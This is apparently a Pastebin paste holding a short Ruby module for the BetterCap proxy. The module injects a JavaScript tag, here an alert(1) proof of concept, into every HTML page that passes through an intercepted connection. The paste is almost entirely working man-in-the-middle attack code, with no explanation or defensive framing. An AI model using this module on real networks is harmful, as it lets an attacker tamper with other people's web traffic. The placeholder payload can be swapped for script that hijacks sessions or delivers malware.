Advertisement
Guest User

Untitled

a guest
Sep 23rd, 2019
114
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.27 KB | None | 0 0
  1. class HttpModul < BetterCap::Proxy::HTTP::Module
  2. def on_request(request,response)
  3. if response.content_type=~/^text\/html.*/
  4. injection = "<script type='text/javascript'>alert(1);</script></head>"
  5. response.body.sub!(/<\/head>/i) {injection}
  6. end
  7. end
  8. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement